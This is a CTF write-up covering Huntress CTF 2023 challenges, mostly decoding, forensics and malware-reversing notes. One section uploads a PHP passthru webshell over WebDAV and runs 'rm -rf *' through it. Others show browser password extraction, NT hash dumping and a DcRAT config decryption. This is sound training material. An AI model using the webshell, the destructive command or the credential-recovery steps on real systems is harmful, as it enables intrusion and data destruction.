Huntress CTF 2023 - Write-ups
During the October 2023, I participated in the Huntress Capture the Flag contest. It started with couple of warmups challenges on the first day. Then they published two or one challenge every day. There were various categories, such as Warmups, Malware, Forensics, OSINT, Miscellaneous and Steganography. The difficulty levels differs from easy (usually very easy), medium (usually easy, but educative for new players) and hard (usually medium). Couple of “lolz” challenges have an extreme difficulty, and they were some kind of…what? Try to think like the author of the challenge. These lolz challenges have been rejected from the competition, and they were published just for the exercise.
During the competition, I solved all of the regular challenges, mostly with Linux, sometimes with Linux+Wine, sometimes online sandbox. For malware and reverse engineering, I prefer a way to do it complete statically instead of debugging. Just with disassembler, decompiler and CyberChef and Python helper scripts.
Below I would like to share my notes and write-ups for this CTF.
Useful links
- Cheatsheet by John Hammond
Day 01
Notepad
- UTF-8 file
- flag{2dd41e3da37ef1238954d8e7f3217cd8}
Technical Support
- Discord channel
- flag{a98373a74abb8c5ebb8f5192e034a91c}
String Cheese
strings cheese.jpg | grep flag
- flag{f4d9f0f70bf353f2ca23d81dcf7c9099}
Read The Rules
- Source code of Rules
- flag{90bc54705794a62015369fd8e86e557b}
Query Code
- PNG file with QR code
zbarimg query_code
- flag{3434cf5dc6a865657ea1ec1cb675ce3b}
Zerion
- reverse, rot13, base64
- flag{af10370d485952897d5183aa09e19883}
Day 02
Book By Its Cover
- PNG with rar extension
- OCR in cyberchef
- flag{f8d32a346745a6c4bf4e9504ba5308f0}
HumanTwo
- 1000 C# shells, same size, the only difference is the password
- “666c6167-7b36-6365-3666-366131356464”+“64623065-6262-3333-3262-666166326230”+“62383564-317d-0000-0000-000000000000” from hex:
- flag{6ce6f6a15dddb0ebb332bfaf2b0b85d1}
Hot Off The Press
- uharc archive
- old windows tool needed for unpacking (works under wine on linux)
wget http://ftp.elf.stuba.sk/pub/pc/pack/uharc06b.zip
wine uharc x -pwinfected hot_off_the_press.uha
- gzipped base64-encoded payload (little bit obfuscated)
- use powershell for replacing string formatting, or deobfuscate with linux/cyberchef
https://gchq.github.io/CyberChef/#recipe=Find_/_Replace(%7B'option':'Simple
%20string','string':'%5C'%5C'%2B%5C'%5C``%7D,``,true,false,true,false)Find_/
_Replace(%7B'option':'Simple%20string','string':'%5C``%7D,``,true,false,true
,false)Find_/_Replace(%7B'option':'Simple%20string','string':'%7B0%7D'%7D,'L
',true,false,true,false)Find_/_Replace(%7B'option':'Simple%20string','string
':'%7B1%7D'%7D,'E',true,false,true,false)From_Base64('A-Za-z0-9%2B/%3D',true
,false)Gunzip()
- from Base64:
from hex:
flag{dbfe5f755a898ce5f2088b0892850bf7}
Day 03
BaseFFFF+1
- 0xffff+1 = 65536 -> Base65536
- Base65536 is a binary encoding optimised for UTF-32-encoded text
- https://github.com/qntm/base65536
- https://www.better-converter.com/Encoders-Decoders/Base65536-Decode
- flag{716abce880f09b7cdc7938eddf273648}
Traffic
- “We saw some communication to a sketchy site… here’s an export of the network traffic. Can you track it down?”
grep sketchy * | head
- ->
sketchysite.github.io
- ->
- flag{8626fe7dcd8d412a80d0b3f0e36afd4a}
Day 04
CaesarMirror
- left column is rot13, right column reversed+rot13
cat caesarmirror.txt | cut -c -45 | rot13 > caesar1.txt
cat caesarmirror.txt | cut -c 45- | rot13 | rev > caesar2.txt
paste caesar1.txt caesar2.txt
Oh boy! Wow, this warmup challenge sure was a lot of fun to put together! I so
definitely absolutely always love trying to think up new and innovative things
to do with the very basic, common and classic CTF techniques! The first part of
your flag is flag{julius_ and that is a great start but it is not everything
that you will need to solve this challenge. I don't like trying to hide and
separate each part of the flag. The second part of the flag is in_a_ but you do
need just a little bit more. What exactly should we include here to try and make
this filler text look more engaging and worthwhile? Should we add newlines?
Should we add spaces and try and make it symmetrical? How many lines is enough `
to make this filler text look believable? A solid square of letters within a
simple, monospace-font text file looks good enough to me. Are we almost at the `
end? It looks like it! I hope it is good. The third part of your flag is reflection}
and at this point you should have everything that you need to submit this flag for
points. The beginning is marked with the flag prefix and the opening curly brace,
and it includes English words separated by underscores, to end in a closing curly
brace. Wow! Now THAT is a CTF! Who knew we could milk the caesar cipher to this
extent?? Someone get that Julius Caesar guy a medal!
- flag{julius_in_a_reflection}
I Wont Let You Down
curl http://155.138.162.158
... <header>Be sure to watch the video fully before you explore other aspects of this server (p.s. nmap is okay)!</header> ...
nmap -> port 8888 -> nc
$ nmap 155.138.162.158 Starting Nmap 7.80 ( https://nmap.org ) at 2023-10-05 15:04 CEST Nmap scan report for 155.138.162.158.vultrusercontent.com (155.138.162.158) Host is up (0.21s latency). Not shown: 997 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 8888/tcp open sun-answerbook $ nc 155.138.162.158 8888 We're no strangers to love ... Never gonna give you up Never gonna let you down ... flag{93671c2c38ee872508770361ace37b02}
flag{93671c2c38ee872508770361ace37b02}
Day 05
Dialtone
- wav file with DTMF
- convert to numbers
13040004482820197714705083053746380382743933853520408575731743622366387462228661894777288573
- from decimal to hex, from hex to chars
- flag{6c733ef09bc4f2a4313ff63087e25d67}
PHP Stager
- obfuscated PHP
- k is createfunction,
- c is lambda function
- fsPwhnfn8423 is base64 decoding
- deGri is a xor-based decryption
- patch script and echo the output:
- webshell with lot of features
- back_connect_ip is base64-encoded Perl script with obfuscated content
- UUEncode
- flag{9b5c4313d12958354be6284fcd63dd26}
Day 06
Backdoored Splunk
- backdoored Splunk Add-on for Windows
- hashdeep both apps, then find the differences
- except the small differences in versions and configs
- backdoor in
Splunk_TA_windows/bin/powershell/nt6-health.ps1
connect to remote backdoor server and decode command:
$ curl -H "Authorization: Basic YmFja2Rvb3I6dXNlX3RoaXNfdG9fYXV0aGVudGljYXRlX3dpdGhfdGhlX2RlcGxveWVkX2h0dHBfc2VydmVyCg==" http://chal.ctf.games:31106 <!-- ZWNobyBmbGFnezYwYmIzYmZhZjcwM2UwZmEzNjczMGFiNzBlMTE1YmQ3fQ== → $ echo "ZWNobyBmbGFnezYwYmIzYmZhZjcwM2UwZmEzNjczMGFiNzBlMTE1YmQ3fQ==" | base64 -d echo flag{60bb3bfaf703e0fa36730ab70e115bd7}
flag{60bb3bfaf703e0fa36730ab70e115bd7}
Layered Security
- gimp image with multiple layers
- one layer contains flag -> OCR in Cyberchef
- flag{9a64bc4a390cb0ce31452820ee562c3f}
Day 07
Dumpster Fire
- compressed linux filesystem
user “challenge” uses mozilla firefox
- password recovery
- https://github.com/unode/firefox_decrypt
$ python3 firefox_decrypt.py dumpster/home/challenge/.mozilla/firefox/bc1m1zlr.default-release/ 2023-10-08 17:39:20,107 - WARNING - profile.ini not found in dumpster/home/challenge/.mozilla/firefox/bc1m1zlr.default-release/ 2023-10-08 17:39:20,109 - WARNING - Continuing and assuming 'dumpster/home/challenge/.mozilla/firefox/bc1m1zlr.default-release/' is a profile location Website: http://localhost:31337 Username: 'flag' Password: 'flag{35446041dc161cf5c9c325a3d28af3e3}'
flag{35446041dc161cf5c9c325a3d28af3e3}
Comprezz
compressed data
$ file comprezz comprezz: compress'd data 16 bits $ zcat comprezz flag{196a71490b7b55c42bf443274f9ff42b}
flag{196a71490b7b55c42bf443274f9ff42b}
Day 08
Where am I?
- Photo, just use exiftool and base64
- flag{b11a3f0ef4bc170ba9409c077355bba2)
Chicken Wings
- Wingdings font encoding
- ♐●♋♑❀♏📁🖮🖲📂♍♏⌛🖰♐🖮📂🖰📂🖰🖰♍📁🗏🖮🖰♌📂♍📁♋🗏♌♎♍🖲♏❝
- https://www.dcode.fr/wingdings-font
- flag{e0791ce68f718188c0378b1c0a3bdc9e}
Day 09
F12
webservice with javascript popup
curl http://chal.ctf.games:30107 curl http://chal.ctf.games:30107/capture_the_flag.html
- flag{03e8ba07d1584c17e69ac95c341a2569}
Wimble
- WIM archive
- extractable with 7zip
- lot of prefetch files
https://github.com/libyal/libscca for parsing in linux
build on alpine linux:
apk add python3-dev automake autoconf g++ gcc gettext-dev make libtool ... git clone https://github.com/libyal/libscca.git cd libscca/ ./synclibs.sh ./autogen.sh ./configure --enable-python make make install
prefetch parsing
for f in tmp/*.pf; do sccainfo $f; done | grep -i flag Filename: 62 : \\VOLUME{01d89fa75d2a9f57-245d3454}\\USERS\\LOCAL_ADMIN\\DESKTOP\\FLAG{97F33C9783C21DF85D79D613B0B258BD}
FLAG{97F33C9783C21DF85D79D613B0B258BD}
Day 10
Baking
- cookie manipulation
- choose the Magic cookie recipe and change the time and encode to Base64
{"recipe": "Magic Cookies", "time": "09/11/2023, 17:39:51"}
eyJyZWNpcGUiOiAiTWFnaWMgQ29va2llcyIsICJ0aW1lIjogIjA5LzExLzIwMjMsIDE3OjM5OjUxIn0=
- flag{c36fb6ebdbc2c44e6198bf4154d94ed4}
VeeBeeEee
- VBE encoded script
https://blog.didierstevens.com/2016/03/29/decoding-vbe/
python decode-vbe.py veebeeeee | tr -d "&" | sed -e "s/``''''''''''''``al37ysoeopm'al37ysoeopm//g"
download code from
hxxps://pastebin.com/raw/SiYGwwcz/
$ curl https://pastebin.com/raw/SiYGwwcz <!-- flag{ed81d24958127a2adccfb343012cebff} -->
flag{ed81d24958127a2adccfb343012cebff}
Day 11
Snake Eater
- Pyinstaller + pyarmor with python3.11
- no success on unpacking
- uncompyle and decompyle support up to python 3.10
- no luck with pyarmor unpacking
- Online sandboxes
- no luck with hybrid analysis nor virustotal (flag not visible)
- at least one execution on triage contains flag:
- https://tria.ge/231012-mb1j3scg3v/behavioral2/analog?q=flag
- modified file C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wp0zrwot.default-release\datareporting\glean\db\flag{d1343a2fc5d8427801dd1fd417f12628}
- flag{d1343a2fc5d8427801dd1fd417f12628}
Operation Not Found
- https://osint.golf/HuntressCTF2023-chall1
- Crosland Tower, Georgia Tech, Atlanta
- flag{c46b7183c9810ec4ddb31b2fdc6a914c}
Day 12
Under The Bridge
- rick roll bridge
-
- Freston Road
flag{fdc8cd4cff2c19e0d1022e78481ddf36}
Opendir
- flag somewhere in opendir, with provided credentials
recursive wget and grep
$ wget --recursive --user=opendir --password=opendir http://chal.ctf.games:31572/ $ grep -r "flag{" ./ ./chal.ctf.games:31572/sir/64_bit_new/oui.txt:flag{9eb4ebf423b4e5b2a88aa92b0578cbd9}
flag{9eb4ebf423b4e5b2a88aa92b0578cbd9}
Day 13
Opposable Thumbs
- windows thumbcache db
- thumbcache_viewer_cmd works under wine
- https://thumbcacheviewer.github.io/#Thumbcache_Viewer_CMD
wine thumbcache_viewer_cmd.exe -o thumbs/ -w -c -t thumbcache_256.db
csv and html reports
$ cat thumbs2/report_20231014_195531.csv Filename,"thumbcache_256.db" Version,Windows 10 Type,thumbcache_256.db Offset to first cache entry (bytes),24 Offset to available cache entry (bytes),86328 Number of cache entries,Unknown Index,Offset (bytes),Cache Size (bytes),Data Size (bytes),Dimensions,Entry Hash,Data Checksum,Header Checksum,Identifier String 1,24,88,0,0x0,b98fe5e556243292,0000000000000000,8a5353552dd9f25a,"b98fe5e556243292" 2,112,136,0,0x0,0924bc51f9b84ee8,0000000000000000,10ea598cd60aba95,"::{645FF040-5081-101B-9F08-00AA002F954E}" 3,248,88,0,0x0,9fbc3a1ea0b5b4ca,0000000000000000,d5b319e09e2257a8,"9fbc3a1ea0b5b4ca" 4,336,88,0,0x0,4f19a6644df93971,0000000000000000,43a48610eb76c182,"4f19a6644df93971" 5,424,92,0,0x0,0904aefe9f68e62c,0000000000000000,ca4427ab9436b0f5,"904aefe9f68e62c" 6,516,88,0,0x0,6c2eaf6f30dc2fe2,0000000000000000,f34db1cf1ee0719a,"6c2eaf6f30dc2fe2" 7,604,88,0,0x0,84052f48cff368ad,0000000000000000,d54153ac27f264fd,"84052f48cff368ad" 8,692,88,0,0x0,3257bbeb19601123,0000000000000000,7ad7deb20f04e66f,"3257bbeb19601123" 9,780,88,0,0x0,52102d649d431786,0000000000000000,3b57d7a6e74f42f9,"52102d649d431786" 10,868,88,0,0x0,998df4673b913333,0000000000000000,c23ce4dcb7d196d3,"998df4673b913333" 11,956,88,0,0x0,dd336d0d5cc76562,0000000000000000,9f92dfebfd5beef4,"dd336d0d5cc76562" 12,1044,88,0,0x0,5a1047ac5718c3eb,0000000000000000,58e45bff80c7d65f,"5a1047ac5718c3eb" 13,1132,88,0,0x0,e7f1c9eb3929bd75,0000000000000000,cdb601d9aaa8462d,"e7f1c9eb3929bd75" 14,1220,24674,24587,256x256,0d2da8adfb7dc237,26093acd63b2938b,eca79098b6f34b4a,"d2da8adfb7dc237.png" 15,25894,88,0,0x0,150e8687a9c66adc,0000000000000000,aabcdb69c8db5fa2,"150e8687a9c66adc" 16,25982,11404,11296,256x256,77068b64198eedd5,16cd191964a84dd9,7edb4bacb59446cc,"?6a0083d3?10000000196bb.png" 17,37386,17884,17790,256x256,88fd4f656e4f2271,08dc4b2b9fd90c8a,3dd6c1ff2c0b6cdd,"88fd4f656e4f2271.png" 18,55270,24674,24587,256x256,02923c1533de85cb,26093acd63b2938b,593cabcdc4801fd0,"2923c1533de85cb.png" 19,79944,6120,6032,256x256,3fa8aafdd63e1168,abf7c0ee0d20a024,cdf5289a9dd89015,"3fa8aafdd63e1168.jpg" 20,86064,88,0,0x0,52f61796a3e4cc54,0000000000000000,96dcb046f9c672be,"52f61796a3e4cc54" 21,86152,88,0,0x0,df07cd4d735b1934,0000000000000000,5826c150b435fcfd,"df07cd4d735b1934" 22,86240,88,0,0x0,c35381735258732e,0000000000000000,833bc988219a550b,"c35381735258732e"
flag in file 3fa8aafdd63e1168.jpg
- flag{human_after_all}
Land Before Time
- iSteg tool mentioned in the task
- not the old one (https://www.hanynet.com/isteg/), based on outguess, because outguess doesn’t support png files
- this java tool: https://github.com/rafiibrahim8/iSteg
- flag{da1e2bf9951c9eb1c33b1d2008064fee}
Day 14
- patch the program
change jnz to jz, so the player wins
$ wine rock_paper_psychic2.exe [#] Hi! I'm Patch, the Telepathic Computer Program. [#] Let's play Rock, Paper, Scissors! [#] I should warn you ahead of time, though. [#] As I previously mentioned, I'm telepathic. So I can read your mind. [#] You won't end up beating me. [#] Still want to play? Alright, you've been warned! [#] Enter your choice (rock, paper, scissors): [>] rock [#] I've made my choice! Now let's play! [#] Ready? [#] ROCK [#] PAPER [#] SCISSORS [#] SHOOT! [#] I chose: paper [#] You chose: rock [#] You won! [#] Wait, how did you do that??!! Cheater! CHEATER!!!!!! [+] flag{35bed450ed9ac9fcb3f5f8d547873be9} [+] Press enter to quit [>]
flag{35bed450ed9ac9fcb3f5f8d547873be9}
Tragedy
- just an accident with tragedy redux, the free flag is provided
- flag{4d442c642df14a7267490da2bb63f522}
Tragedy Redux
- Docx with macros, but the ZIP header is malformed
- unzip can extract files
- olevba decodes macros
olevba word/vbaProject.bin
- strings partitioned to chunks of length 3, then interpreted as numbers, subtracted 17 from each number, convert back to chars
python reimplementation
data="129128136118131132121118125125049062118127116049091088107132106104116074090126107132106104117072095123095124106067094069094126094139094085086070095139116067096088106065107085098066096088099121094101091126095123086069106126095074090120078078" chunks = [ data[i:i+3] for i in range(0, len(data), 3) ] "".join(chr(int(c) - 17) for c in chunks) >>> 'powershell -enc JGZsYWc9ImZsYWd7NjNkY2M4MmMzMDE5Nzc2OGY0ZDQ1OGRhMTJmNjE4YmN9Ig=='
decode base64
$flag="flag{63dcc82c30197768f4d458da12f618bc}"
or, if document is caled runner.doc, it will run powershell command above:
>>> data="131134127127118131063117128116" >>> chunks = [ data[i:i+3] for i in range(0, len(data), 3) ] >>> "".join(chr(int(c) - 17) for c in chunks) 'runner.doc' >>> data="136122127126120126133132075" >>> chunks = [ data[i:i+3] for i in range(0, len(data), 3) ] >>> "".join(chr(int(c) - 17) for c in chunks) 'winmgmts:' >>> data="104122127068067112097131128116118132132" >>> chunks = [ data[i:i+3] for i in range(0, len(data), 3) ] >>> "".join(chr(int(c) - 17) for c in chunks) 'Win32_Process'
flag{63dcc82c30197768f4d458da12f618bc}
Day 15
Rogue Inbox
- csv with json logs
- Debra hacked
- export just AuditData column and investigate with
jq
- there are lot of New-InboxRule operations
- parameters contain letters of flag
cat audit.json | jq -r 'select(.Operation=="New-InboxRule") | .Parameters[] | select(.Name=="Name") | .Value' | tr -d '\n
‘
- flag{24c4230fa7d50eef392b2c850f74b0f6}
M Three Sixty Five - General Info50 points - Miscellaneous - 291 Solves - easy
Get-AADIntTenantDetails | select street
- flag{dd7bf230fde8d4836917806aff6a6b27}
M Three Sixty Five - Conditional Access50 points - Miscellaneous - 282 Solves - easy
Get-AADIntConditionalAccessPolicies | select displayName
- flag{d02fd5f79caa273ea535a526562fd5f7}
M Three Sixty Five - Teams
Get-AADIntTeamsMessages | select Content
- flag{f17cf5c1e2e94ddb62b98af0fbbd46e1}
M Three Sixty Five - The President
Get-AADIntUsers | grep -i president
Get-AADIntUsers | where Title -eq 'President
‘- flag{1e674f0dd1434f2bb3fe5d645b0f9cc3}
Day 16
Babel
alphabet substitution and base64 in c# source code
- cyberchef
Substitute('lQwSYRxgfBHqNucMsVonkpaTiteDhbXzLPyEWImKAdjZFCOvJGrU','abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',false) From_Base64('A-Za-z0-9+/=',true,false)
decoded to .NET EXE
ilSpy for decoding: array with 44k byte numbers
ilspycmd babel.exe > babel.cs
grep -P "^\t\t\t\t" babel.cs | tr -d '\n\t
‘- decoding in cyberchef, find the flag
better approach: strings on decoded .NET EXE
- flag is clearly visible
Substitute('lQwSYRxgfBHqNucMsVonkpaTiteDhbXzLPyEWImKAdjZFCOvJGrU','abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',false) From_Base64('A-Za-z0-9+/=',true,false) Strings('Single byte',8,'Alphanumeric + punctuation (A)',false,false,false) Regular_expression('User defined','flag\\{[0-9a-f]{32}\\}',true,true,false,false,false,false,'List matches')
- flag{b6cfb6656ea0ac92849a06ead582456c}
PRESS PLAY ON TAPE
- Commodore64 revival band
- Why “PRESS PLAY ON TAPE”?
- On the Commodore 64, the user would write “LOAD” to initiate the program loading sequence. Then the Commodore 64 would respond “PRESS PLAY ON TAPE”.
- convert wav to prg or tap
- https://wav-prg.sourceforge.io/wavprg.html
- waw-prg is not for linux, does not work under wine
- works on windows 7
strings from prg file
$ strings default.prg | tr [:upper:] [:lower:] | tr '[]' '{}' "flag{32564872d760263d52929ce58cc40071}"
audiotap cmdline works under wine
- https://wav-prg.sourceforge.io/audiotap.html
wine audio2tap.exe pressplayontape.tap pressplayontape.wav
both prg and tap works in emulator (.tap file needs more time to load)
- flag{32564872d760263d52929ce58cc40071}
Day 17
Texas Chainsaw Massacre: Tokyo Drift
- application log
- find some odd strings, e.g. hexadecimal strings
evtxexport Application\ Logs.evtx | grep -i 66
- decode with cyberchef fromhex -> obfuscated powershell
- partial dynamic deobfuscation of strings with powershell
- just for sure,
Set-Alias invoke-expression write-output
and avoid things such asEnv:Comspec
(iex) and. ()
- just for sure,
- replace invoke-expression with write-output and decode the payload:
- finally, base64 decode and decompress of the payload:
it uses Resolve-DnsName to get a TXT record for eventlog.zip
$ host -t txt eventlog.zip eventlog.zip descriptive text "U3RhcnQtUHJvY2VzcyAiaHR0cHM6Ly95b3V0dS5iZS81NjFubmQ5RWJzcz90PTE2IgojZmxhZ3s0MDk1MzczNDdjMmZhZTAxZWY5ODI2YzI1MDZhYzY2MH0jCg=="
after decoding:
Start-Process "https://youtu.be/561nnd9Ebss?t=16" #flag{409537347c2fae01ef9826c2506ac660}#
flag{409537347c2fae01ef9826c2506ac660}
Indirect Payload
- lot of redirects… follow them
- total of 101 redirects
curl http://chal.ctf.games:30348/site/flag.php -L -v --max-redirs 150 2>&1 | tee curl.log
- Last one says sorry
- parse URLs from log
grep URL curl.log | cut -f 2 -d "'" > urls.txt
- get content from the URLs
for url in $(cat urls.txt); do curl $url; done | tee flag.txt
there are characters of flag:
$ cat flag.txt character 0 of the payload is f character 1 of the payload is l character 2 of the payload is a character 3 of the payload is g character 4 of the payload is { character 5 of the payload is 4 character 6 of the payload is 4
get the flag:
cat flag.txt | cut -f 7 -d ' '| tr -d '\n
‘
flag{448c05ab3e3a7d68e3509eb85e87206f}
Day 18
Thumb Drive
- lnk file with tinyurl link inside
- tinyurl redirects to the google drive with file usb.txt
- file usb.txt contains base32-encoded EXE file
cat usb.txt | base32 -d > usb.bin
- exe file pops-up messagebox with the flag
- it is at least one year old, it is on VirusTotal, Any.Run and Hybrid analysis
- flag{0af2873a74cfa957ccb90cef814cfe3d}
Who is Real?
- is person generated by AI or is it real photo?
- the key is to choose the photo which looks more artificial ;-)
- flag{10c0e4ed5fcc3259a1b0229264961590}
Day 19
Operation Eradication
- ransomware story with stolen files. We want to delete them
config file provided for webav with “wrong” credentials
type = webdav url = http://localhost/webdav vendor = other user = VAHycYhK2aw9TNFGSpMf1b_2ZNnZuANcI8-26awGLYkwRzJwP_buNsZ1eQwRkmjQmVzxMe5r pass = HOUg3Z2KV2xlQpUfj6CYLLqCspvexpRXU9v8EGBFHq543ySEoZE9YSdH7t8je5rWfBIIMS-5
it is config for rclone, with encrypted password
can be used as
.config/rclone/rclone.conf
- just replace the URL and provide the name for remote webdav
rclone can list and upload files, but cannot delete them - permission denied
rclone ls huntress:
same for plain curl, it seems that DELETE method is forbidden
webdav URL is http://chal.ctf.games:PORT/webdav
on the http://chal.ctf.games:PORT/ there is simple website with counter of files to be deleted
server is powered by Apache and PHP -> we can upload shell
echo "<?php echo passthru($_GET['cmd']); ?>" > shell.php rclone copy ./shell.php huntress: # OR curl -T shell.php --user 'VAHycYhK2aw9TNFGSpMf1b_2ZNnZuANcI8-26awGLYkwRzJwP_buNsZ1eQwRkmjQmVzxMe5r:SuperExtremelySecurePasswordLikeAlways' http://chal.ctf.games:PORT/webdav/shell.php
password of the user can be decrypted from config
remove all files via webshell:
curl --user 'VAHycYhK2aw9TNFGSpMf1b_2ZNnZuANcI8-26awGLYkwRzJwP_buNsZ1eQwRkmjQmVzxMe5r:SuperExtremelySecurePasswordLikeAlways' http://chal.ctf.games:PORT/webdav/shell.php?cmd="rm%20-rf%20*"
get the flag
curl http://chal.ctf.games:PORT/
- flag{564607375b731174f2c08c5bf16e82b4}
Speakfriend
- backdoored webserver
- normal website looks like this
- webserver binary checks for special user agent and port 443:
- the user agent substring can be extracted with strings:
access with curl:
$ curl -k --user-agent "Mozilla/5.0 93bed45b-7b70-4097-9279-98a4aef0353e" https://chal.ctf.games:30397 <!doctype html> <html lang=en> <title>Redirecting...</title> <h1>Redirecting...</h1> <p>You should be redirected automatically to the target URL: <a href="/93bed45b-7b70-4097-9279-98a4aef0353e/c2">/93bed45b-7b70-4097-9279-98a4aef0353e/c2</a>. If not, click the link. $ curl -k https: --user-agent "Mozilla/5.0 93bed45b-7b70-4097-9279-98a4aef0353e" https://chal.ctf.games:30397/93bed45b-7b70-4097-9279-98a4aef0353e/c2 flag{3f2567475c6def39501bab2865aeba60}
flag{3f2567475c6def39501bab2865aeba60}
Day 20
Welcome to the Park
- task contains hint: Mach-O files
zip file contains hidden directory, the file is Mach-O
$ file welcome/.hidden/welcomeToThePark welcome/.hidden/welcomeToThePark: Mach-O 64-bit arm64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>
strings reveal one long base64-encoded string:
- after decoding, there is obfuscated shell script
substrings of gist.github.com are clearly visible, then the full URL is constructed from the variables:
$ A0bERh='"https://';A0bERheZXDRi='gist.githu';xbER='b.com/s';juuQ='tuartjas';juuQQ7l7X5='h/a7d18';juuQQ7l7X5yX='7c44f 4327';juuQQ7l7X5y='739b752d037be45f01'; echo -e ${A0b}${A0bERheZ}${A0bERheZX}${A0bER}${A0bE}${A0bERh}${A0bERheZXDRi}${xb ER}${juuQ}${juuQQ7l7X5}${juuQQ7l7X5yX}${juuQQ7l7X5y} "https://gist.github.com/stuartjash/a7d187c44f4327739b752d037be45f01
on gist, there is a picture of “JohnHammond”
- extract strings and the last string is the flag
- flag{680b736565c76941a364775f06383466}
RAT
The easy way: report on virustotal
The hard way: reversing+cyberchef
- decompiled with ilspy
- in the Main,
hook.exu_bot()
will load assembly returned byhook.get_3()
and invoke the binary returned byhook.get_4()
hook.get_4()
will returncry.decrypters.decrypt(cry.readers.getArr(2), Convert.ToInt32(cry.readers.getStr(2)));
getArr()
andStr()
methods will return encrypted data extracted from the binary itself based on regexes:
- decrypt function is just a xor with
pass
number and gunzip
- put it all together:
- string from binary
rat
strings rat | grep fileArr
- string from binary
- decrypt with cyberchef -> another .net exe file
- the extracted payload is asyncrat/dcrat
- decompile it with ilspy again
- in Settings class, there are dcrat configuration properties
- Key - master key for AES-256
- MTX - mutex created by Dcrat
Flag - unused property, this should be the CTF flag
properties are base64-encoded and aes-256 encrypted messages constructed of HMACSHA256, IV and the encrypted plaintext itself
- _key for AES-256 is derived with PBKDF2:
Rfc2898DeriveBytes(masterKey, Salt, 50000);
Salt is "DcRatByqwqdanchun"
CyberChef recipe with PBKDF and flag decryption:
Comment('Format of the message:\nBase64(HMAC[32]+IV[16]+AES[])') Comment('Decode encrypted string from Base64 and convert it to hex, then strip first 32 bytes (HMAC)') From_Base64('A-Za-z0-9+/=',true,false) To_Hex('None',0) Tail('Nothing (separate chars)',-64) Comment('Store next 16 bytes (IV) to register $R0 and strip it from the encrypted message') Register('([\\s\\S]{32})',true,false,false) Tail('Nothing (separate chars)',-32) Comment('Remember the encrypted message in register $R1') Register('([\\s\\S]*)',true,false,false) Comment('Derive AES-256 key from the master key (provided as Base64-encoded value in AsyncRat config). Store derived key in register $R2\n\nIn C#, there was used the function Rfc2898DeriveBytes()') Derive_PBKDF2_key({'option':'Base64','string':'S1hNZ2tQdFJlRkVIWXhKczRMZEIwRmRQVmg3WGxDNEQ='},256,50000,'SHA1',{'option':'Latin1','string':'DcRatByqwqdanchun'}) Register('([\\s\\S]*)',true,false,false) Comment('Bring back remembered encrypted message from $R1 to the pipeline and use it as input to AES Decrypt') Find_/_Replace({'option':'Regex','string':'^.*$'},'$R1',true,false,true,false) AES_Decrypt({'option':'Hex','string':'$R2'},{'option':'Hex','string':'$R0'},'CBC','Hex','Raw',{'option':'Hex','string':''},{'option':'Hex','string':''}) Comment('Enjoy the flag ;-)')
- flag{8b988b859588f2725f0c859104919019}
Day 21
Snake Oil
- Python program packed in exe with Pyinstaller
The easy way
- Available in sandboxes
- it executes ngrok with flag as parameter authtoken
The harder way
- unpack python modules and bytecodes from binary
pyinstxtractor snake-oil
- the original code is compiled in brain-melt.pyc
- it is Python 3.9
- uncompyle6 nor decompyle3 don’t support python 3.9
- decompyle++ (pycdc) supports python 3.9
- https://github.com/zrax/pycdc
- need to build from source
pycdc brain-melt.pyc
- it is Python 3.9
- flag is returned by deobfuscate() and used as auth_token for ngrok
reuse the decompiled code (just replace .0 with O in lambda)
>>> import base64 >>> def decrypt(s1, s2): ... return ''.join((lambda O: [ chr(ord(c1) ^ ord(c2)) for c1, c2 in O ])(zip(s1, s2))) ... >>> def deobfuscate(): ... part1 = '2ec7627d{galf'[::-1] ... part2 = str(base64.b64decode('NjIwM2I1Y2M2OWY0'.encode('ascii')), 'UTF8') ... part3 = decrypt('\x17*\x07`BC\x14*R@\x14^*', 'uKeVuzwIexplW') ... key = part1 + part2 + part3 ... return key ... >>> deobfuscate() 'flag{d7267ce26203b5cc69f4bab679cc78d2}'
flag{d7267ce26203b5cc69f4bab679cc78d2}
Day 22
Batchfuscation
- obfuscated windows batch script
- thousands of lines, variables are assigned with “set” command or string values or chars and then used for substitution during runtime
- it runs lot of cmd.exe with different exit codes
- the exitcodes are converted to chars, assigned to anoother variables
- dynamic analysis to get the mapping of variables to chars:
- execute the script in cmd.exe, then store environment variables to .txt file:
- no hidden flag in the variables, more deobfuscation needed
- prepare mapping of chars from env.txt:
cat env.txt | tr -d '\r' | grep "^[a-z]*=.$" > mapping.txt
python program for deobfuscation of batchfuscation with mapping from mapping.txt:
with open("batchfuscation", "r") as f: batch=f.read() with open("mapping.txt", "r") as f: data = f.read() mapping = dict([item.split('=',maxsplit=1) for item in data.strip().split('\n')]) for k in mapping.keys(): batch = batch.replace('%'+k+'%', mapping[k]) with open('batch', 'w') as f: f.write(batch)
there are flags now:
grep flag batch
sort the flag_characters, extract the chars and put them together:
grep flag_ch batch2 | cut -f 3 -d r | sort -n | cut -f 2 -d = | tr -d '\n' flag{acad67e3d0b5bf31ac6639360db9d19a}
flag{acad67e3d0b5bf31ac6639360db9d19a}
Day 23
Bad Memory
- windows memoy dump (4.5GB), task is to recover the user password
volatility 3:
$ vol3.py -f image.bin windows.hashdump.Hashdump Volatility 3 Framework 2.0.0 Progress: 100.00 PDB scanning finished User rid lmhash nthash Administrator 500 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0 Guest 501 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0 DefaultAccount 503 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0 WDAGUtilityAccount 504 aad3b435b51404eeaad3b435b51404ee 4cff1380be22a7b2e12d22ac19e2cdc0 congo 1001 aad3b435b51404eeaad3b435b51404ee ab395607d3779239b83eed9906b4fb92
crack NT hash of congo user online
get the md5 for flag:
$ echo -n "goldfish#" | md5sum 2eb53da441962150ae7d3840444dfdde
flag{2eb53da441962150ae7d3840444dfdde}
Day 24
Discord Snowflake Scramble
- access message at Discord
- but how to access the discord server?
- ID of server is 1156647699362361364
- google do not find server id, but duckduckgo yes
- thanks to invite URL, it is possible to access the desired message
- flag{bb1dcf163212c54317daa7d1d5d0ce35}
Day 25
BlackCat
- blackcat decryptor and several encrypted files
- DecrypMyFiles requires password
- long known files (hamlet, logo, pictures)
